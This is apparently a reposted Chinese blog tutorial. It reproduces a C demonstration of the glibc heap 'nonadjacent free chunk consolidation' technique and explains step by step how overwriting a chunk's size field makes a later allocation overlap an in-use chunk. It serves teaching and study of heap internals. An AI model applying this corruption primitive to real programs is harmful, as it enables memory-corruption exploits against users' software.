10.overlapping_chunks_2

源代码

 1 /*
 2  Yet another simple tale of overlapping chunk.
 3 
 4  This technique is taken from
 5  https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
 6  
 7  This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
 8 
 9 */
10 
11 #include <stdio.h>
12 #include <stdlib.h>
13 #include <string.h>
14 #include <stdint.h>
15 #include <malloc.h>
16 
17 int main(){
18   
19   intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
20   unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
21   int prev_in_use = 0x1;
22 
23   fprintf(stderr, "\nThis is a simple chunks overlapping problem");
24   fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n");
25   fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");
26 
27   p1 = malloc(1000);
28   p2 = malloc(1000);
29   p3 = malloc(1000);
30   p4 = malloc(1000);
31   p5 = malloc(1000);
32 
33   real_size_p1 = malloc_usable_size(p1);
34   real_size_p2 = malloc_usable_size(p2);
35   real_size_p3 = malloc_usable_size(p3);
36   real_size_p4 = malloc_usable_size(p4);
37   real_size_p5 = malloc_usable_size(p5);
38 
39   fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
40   fprintf(stderr, "\nchunk p2 from %p to %p", p2,  (unsigned char *)p2+malloc_usable_size(p2));
41   fprintf(stderr, "\nchunk p3 from %p to %p", p3,  (unsigned char *)p3+malloc_usable_size(p3));
42   fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
43   fprintf(stderr, "\nchunk p5 from %p to %p\n", p5,  (unsigned char *)p5+malloc_usable_size(p5));
44 
45   memset(p1,'A',real_size_p1);
46   memset(p2,'B',real_size_p2);
47   memset(p3,'C',real_size_p3);
48   memset(p4,'D',real_size_p4);
49   memset(p5,'E',real_size_p5);
50   
51   fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n"); 
52   
53   free(p4);
54 
55   fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");
56 
57   *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE 
58 
59   fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
60   fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
61   free(p2);
62   
63   fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");
64 
65   p6 = malloc(2000);
66   real_size_p6 = malloc_usable_size(p6);
67 
68   fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n");
69   fprintf(stderr, "\nchunk p6 from %p to %p", p6,  (unsigned char *)p6+real_size_p6);
70   fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *) p3+real_size_p3); 
71 
72   fprintf(stderr, "\nData inside chunk p3: \n\n");
73   fprintf(stderr, "%s\n",(char *)p3); 
74 
75   fprintf(stderr, "\nLet's write something inside p6\n");
76   memset(p6,'F',1500);  
77   
78   fprintf(stderr, "\nData inside chunk p3: \n\n");
79   fprintf(stderr, "%s\n",(char *)p3); 
80 
81 
82 }

运行结果

 

首先申请5个1000字节的堆p1,p2,p3,p4,p5

将5个堆都赋值上A,B,C,D,E以区分

这里因为字节对齐,又造成了每个堆使用了下个堆的prev_size字段

 

接着释放p4,由于后面有p5,所以不担心和top chunk合并

然后修改p2的size=1000+1000+0x10+1

现在&p2+p2->size=&p4

libc判断p2的下一个堆块为p4,忽略了p3

l将误以为原来的p2+p3这一段内存为一个新的堆p2(这里没有注意到p4的prev_size字段)

然后将p2释放

由于p4处于释放状态,所以p4和p2合并

p3被覆盖在新合并的堆中

申请一个2000字节的堆p6,即使用这个新合并的堆

p3被包含在p6中,又造成了overlapping

修改p6内容即可修改p3内容

 与之前的overlapping相比

之前的是释放后修改size,重新申请后覆盖了后面的堆

这个是先修改size,使之大小覆盖了后面的堆,再释放后和已释放的后后个堆合并,包含了要覆盖的堆

重新申请后即可覆盖包含的堆的内容

转载于:https://www.cnblogs.com/pfcode/p/10992467.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值